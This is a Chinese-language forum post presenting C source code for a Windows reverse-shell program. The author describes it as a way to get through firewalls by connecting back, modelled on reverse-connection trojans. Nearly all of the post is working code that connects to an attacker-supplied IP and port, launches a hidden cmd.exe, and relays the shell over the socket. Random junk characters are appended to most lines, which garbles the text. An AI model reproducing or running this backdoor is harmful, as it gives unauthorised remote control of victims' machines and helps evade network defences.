这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 -9?]IIVb
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/* ============================== A#,ZUOPGH
Rebound port in Windows NT ;'1d1\wiDQ
By wind,2006/7 V7/Rby Q
===============================*/ [}m[ )L\
#include gX@aG9
#include UiNP3TJ'L
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#pragma comment(lib,"wsock32.lib") {!`6zBsP
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void OutputShell(); lOp`m8_=
SOCKET sClient; 8@R|Km5h
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Fr-SvsNFB
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void main(int argc,char **argv) l[J8!u2Xp
{ P+}h$_x
WSADATA stWsaData; j~MI<I+l[
int nRet; WIGi51yC.x
SOCKADDR_IN stSaiClient,stSaiServer; rJB}qYD
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if(argc != 3) =_^X3z0
{ *
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printf("Useage:\n\rRebound DestIP DestPort\n"); *^`Vz?g<
return; pj(,Zd[47
} LP=)~K<
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WSAStartup(MAKEWORD(2,2),&stWsaData); x)&\z}
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j8gdlIx
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stSaiClient.sin_family = AF_INET; ,!9zrYi}
stSaiClient.sin_port = htons(0); ,zc(t<|-y
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); W g!
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) `vV7c`K?
{ !r-F>!~
printf("Bind Socket Failed!\n"); Q2>gU#
return; :Dp0?&_
} F'Z,]b'st3
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stSaiServer.sin_family = AF_INET; qQa}wcU'9p
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); :6dxtl/{b:
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Y);=TM6s
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *1"+%Z^
{ =~gvZV-<
printf("Connect Error!"); 9YGY,sx
return; JXxwr)i
} Xa&kIq}(g
OutputShell(); qP
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} '"Nr, vQo
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void OutputShell() naNghGQ
{
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char szBuff[1024]; 2<6UwF
SECURITY_ATTRIBUTES stSecurityAttributes; p7~!z.)o
OSVERSIONINFO stOsversionInfo; !x)R=Z/C
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; k7^5Bp8=
STARTUPINFO stStartupInfo; ,%y/kS]
char *szShell; xD 7]C|8o
PROCESS_INFORMATION stProcessInformation; /{2,zW
unsigned long lBytesRead; kx CSs7J/
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Y0> @vTUX
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); EX"yxZ~
stSecurityAttributes.lpSecurityDescriptor = 0; ^rz_f{c]-
stSecurityAttributes.bInheritHandle = TRUE; L},_.$I?
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); jWgX_//!
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); s#MPX3itK
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); YYS0`
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O0:q;<>z
stStartupInfo.wShowWindow = SW_HIDE; |BYRe1l6l
stStartupInfo.hStdInput = hReadPipe; iRBfx
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; GX%g9f!O
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GetVersionEx(&stOsversionInfo); (?];VG
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switch(stOsversionInfo.dwPlatformId) ^^Vg~){4
{ 1Ws9WU
case 1: eH,or ,r
szShell = "command.com"; _dU\JD
break; w(F%^o\
default: cb bFw
szShell = "cmd.exe"; <Z$J<]I
break; ,z6~?6m
} ^sZ,2,^
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);
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send(sClient,szMsg,77,0); [ hsds\
while(1) 8k79&|
{ P~dcW
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); =u;MCQ[
if(lBytesRead) z%kULTL
{ !9x}
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); R-Sym8c
send(sClient,szBuff,lBytesRead,0); -qoH,4w
}
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else q(}bfIf
{ L(\cH b9`
lBytesRead=recv(sClient,szBuff,1024,0); .^.z2
e
if(lBytesRead<=0) break; ce(#2o&`
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Ca\6vR
} ,?3G;-
} ;}t(Wnu.
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return; Ho%CDz
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}